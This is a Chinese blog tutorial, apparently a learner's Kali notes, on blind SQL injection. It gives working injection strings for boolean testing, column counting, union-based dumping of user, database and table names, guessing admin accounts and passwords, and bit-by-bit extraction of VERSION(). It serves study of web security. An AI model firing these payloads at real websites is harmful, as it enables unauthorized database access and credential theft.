zoukankan      html  css  js  c++  java
  • 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注

    SQL注入介绍

    SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注

    思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断

    a.  1' and 1=1--+

     

    b.  1' and 1=2--+    【输入前真后假,无返回,页面没被执行

    ###ab比较,表明存在SQL注入漏洞

     

     常用盲注语句【原理:猜测数据】

    1' order by 5--                       【通过修改数值来测试列数,若页面没出现结果,则不存在该漏洞(1不能去掉,因为sql语句,表明必须提交一个正确的值,不一定为1)】

     

    2' union select user(),database()--        【查询用户名和数据库名】

     

    2' union select 1,2--+      

    1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+

    【查所有的表名,#为注释后面的代码】

    1' and 1=0 union select null,table_name from information_schema.tables#   

    1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #   

     当无权读取information_schema库 / 拒绝union、order by语句

    #若为真,则显示内容,若为假,则不显示任何内容 【语句中的1不为固定,可灵活变化,甚至为字符,视情况而定】

    #使用Burpsuite自动化猜解内容

    1、猜列名

    1' and user is [not] null--+ 【测试user列是否为空】

     

    2、猜当前表表名

    1' and users.user is not null--+    【列为已知列】

     

    3、猜库里其他表

    1' and (select count(*) from table)>0--+

     

    4、列表对应关系

    1' and users.user is not null--+

      5、猜字段内容

      1' and user='admin

    1' or user like '%a%

     6、猜账号对应密码

    2' or user='admin' and password='faqfoiauggvuagbymd5'    【若为1,为id=1,若为2,则id为2,(意思为查询第二个账号)】

     

    脑洞案例

    当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换

    and 1=1--+  【原页面】

    and 1=2--+  【显示另一个页面】

    #则存在SQL注入漏洞

     

    构造语句

    1' and ORD(MID((VERSION()),1,1))&1>0--+    【无返回,则该位的ASCII码为0,正常返回,则ASCII码为1】

    如:

    #则证明,二进制中,十进制数为32的那一位二进制为1

    MID函数:截取字符串中的某段子字符串,( 语法:MID(ColumnName,Start,Length)起始位置,长度 )】

    ORD函数:#把函数中的字符转换成ASCII码,( 语法:ORD(string)&n ){n是二进制ASCII码的对应位置是0或1,n=1,2,4,8,16,32,64,128}    通过迭代8次查询每一位ASCII码的值,反查出字符】 《灵使用查询VERSION(),DATABASE(),CURRENT_USER()当前用户等函数》

     

    代码审计

    低级别【并未对变量进行消毒】

     

    中安全级别

     

    高安全级别

     

  • 相关阅读:
    Jmeter 设置中文
    不同JDK版本直接的intern()方法的区别---JDK6 VS JDK6+
    java内存模型中堆和栈的区别
    JVM三大性能调优参数 -Xms -Xmx -Xss的含义
    Class<?>中isAssignableFrom()方法与instanceof关键字
    Lua中ipairs 和 pairs的区别
    Redis主从同步中的repl_backlog_buffer和repl_buffer
    Redis-开启使用AOF日志
    将windows 文件复制到linux上去
    winform集成第三方应用引起灾难性崩溃处理
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6002545.html
Copyright © 2011-2022 走看看